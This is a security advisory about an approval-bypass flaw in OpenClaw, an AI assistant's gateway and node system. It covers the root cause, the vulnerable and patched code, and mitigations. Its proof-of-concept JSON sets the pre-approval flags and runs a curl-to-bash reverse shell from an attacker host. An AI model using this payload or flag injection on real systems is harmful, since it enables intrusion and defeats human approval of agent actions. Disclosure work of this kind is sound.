GHSA-GV46-4XFQ-JV58: Remote Code Execution in OpenClaw via Approval Workflow Bypass

OpenClaw (formerly Moltbot/ClawdBot) functions as a personal AI assistant that orchestrates workflows across distributed environments. Its architecture consists of a central Gateway and multiple Nodes (remote hosts, often developers' personal computers or servers). The Gateway acts as a command-and-control server, relaying RPC messages such as node.invoke to specific Nodes to perform tasks.

To prevent unauthorized actions, OpenClaw implements a "Human-in-the-Loop" security model for sensitive operations. When a dangerous command—such as system.run (executing shell scripts)—is requested, the Node host is designed to intercept the request and spawn a local interactive prompt. The user must manually approve this prompt before the command executes. This mechanism is the primary defense against malicious operators or compromised tokens.

GHSA-GV46-4XFQ-JV58 represents a complete bypass of this security control. By manipulating the JSON payload sent to the Gateway, an attacker can instruct the Node to treat the request as pre-approved. This effectively converts a protected administrative feature into an open remote code execution interface, allowing the attacker to run arbitrary code on any connected Node without the owner's knowledge or consent.

The vulnerability stems from a classic Trust Boundary Violation (CWE-501) coupled with Mass Assignment (CWE-915). The system architecture relies on the Gateway to forward requests to Nodes, but it failed to define a strict schema for which parameters could be passed from the client to the execution engine.

The root cause resides in the lack of sanitization in the Gateway's node.invoke handler and the implicit trust the Node placed in the parameters it received. Specifically, the Node's execution runner (src/node-host/runner.ts) determined whether to show a user prompt by checking for the existence of specific properties in the incoming params object:

1. approved: A boolean flag indicating prior approval.
2. approvalDecision: A string (e.g., 'allow-once') indicating the user's choice.

These flags were intended for internal use—to be set only after a user clicked "Approve" on the local prompt. However, the Gateway blindly forwarded the entire params object from the WebSocket request to the Node. Consequently, an attacker could simply supply these internal flags in the initial request. The Node, receiving approved: true, erroneously assumed the check had already occurred and executed the payload immediately.

The vulnerability involves two distinct components: the decision logic in the Node and the forwarding logic in the Gateway. The critical failure was that the Gateway did not filter the input before the Node consumed it.

Vulnerable Logic (Node Host) In src/node-host/runner.ts, the code checked the parameters directly to decide if a prompt was needed:

// Vulnerable Code in Node Host
// The code trusts that 'approved' only comes from a trusted internal process
const approvedByAsk = params.approvalDecision !== null || params.approved === true;
 
if (requiresAsk && !approvedByAsk) {
  // Trigger the UI popup for user confirmation
  const decision = await askUser(params);
} else {
  // Execute immediately - VULNERABILITY TRIGGER
  // If params.approved is true, we reach here without user interaction
  executeCommand(params);
}

The Fix (Gateway) The remediation was applied in the Gateway to prevent these flags from ever reaching the Node. In commit 0af76f5f0e93540efbdf054895216c398692afcd, a sanitization step was added to the node.invoke handler in src/gateway/server-methods/nodes.ts:

// Patched Code in Gateway
function sanitizeNodeInvokeParamsForForwarding(params: any) {
  const safeParams = { ...params };
  
  // Explicitly strip internal control flags
  delete safeParams.approved;
  delete safeParams.approvalDecision;
  delete safeParams.runId; // Prevent ID collision attacks
  
  return safeParams;
}
 
// In the RPC handler:
const forwardedParams = sanitizeNodeInvokeParamsForForwarding(clientRequest.params);
nodeConnection.send(forwardedParams);

This change ensures that even if a malicious client sends approved: true, the Gateway removes it before the Node receives the message, forcing the Node to default to the safe behavior (prompting the user).

Exploiting this vulnerability requires an authenticated session with operator.write permissions. In a real-world attack scenario, this is often achieved by chaining with a separate vulnerability (like CVE-2026-25253) to steal an authentication token, or by a malicious insider.

Attack Steps:

1. Reconnaissance: The attacker enumerates connected nodes using the node.list RPC method to identify a target nodeId.
2. Payload Construction: The attacker crafts a JSON-RPC request for the node.invoke method. They target the system.run command and inject the bypass flags.
3. Execution: The request is sent to the Gateway WebSocket endpoint.

Proof of Concept (PoC):

{
  "method": "node.invoke",
  "params": {
    "nodeId": "target-macbook-pro-uuid",
    "command": "system.run",
    "params": {
      "command": ["/bin/bash", "-c", "curl -s http://attacker.com/revshell | bash"],
      "cwd": "/tmp",
      "approved": true,
      "approvalDecision": "allow-once"
    }
  }
}

Upon receiving this payload, the Gateway forwards the inner params object to the target MacBook. The OpenClaw agent on the MacBook sees approved: true, skips the GUI prompt, and immediately downloads and executes the reverse shell script.

The impact of this vulnerability is Critical. OpenClaw is designed to provide deep system integration for AI agents, often running with the privileges of the active user on developer workstations.

Consequences:

• Remote Code Execution (RCE): Attackers can execute arbitrary shell commands. This allows for the installation of malware, ransomware, or persistent backdoors.
• Data Exfiltration: Access to the file system allows attackers to steal source code, SSH keys (~/.ssh/id_rsa), AWS credentials (~/.aws/credentials), and other sensitive local data.
• Lateral Movement: Compromising a developer's workstation often provides a beachhead into corporate internal networks, bypasses VPN requirements, and grants access to production environments via stored credentials.

Severity Metrics:

• CVSS v3.1: 8.8 (High/Critical)
• Vector: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Privileges: Requires low privileges (a standard operator token), which lowers the barrier to entry significantly compared to admin-only vulnerabilities.

The vulnerability is addressed in OpenClaw version v2026.1.29. The patch implements input validation at the Gateway level, serving as a choke point for all RPC traffic.

Immediate Actions:

1. Upgrade: Administrators must upgrade the OpenClaw Gateway and all Node agents to version v2026.1.29 or later immediately.
2. Rotate Credentials: If there is suspicion of compromise or if an instance was exposed to the internet, rotate all operator tokens and API keys used within the OpenClaw environment.
3. Audit Logs: Review Gateway logs for node.invoke calls containing unexpected keys in the params object, specifically approved or approvalDecision appearing in inbound requests.

No configuration-based workaround exists that is as effective as patching, because the vulnerability lies in the core message handling logic. Network segmentation (restricting access to the Gateway) can reduce the attack surface but does not eliminate the risk of insider threat or token theft exploitation.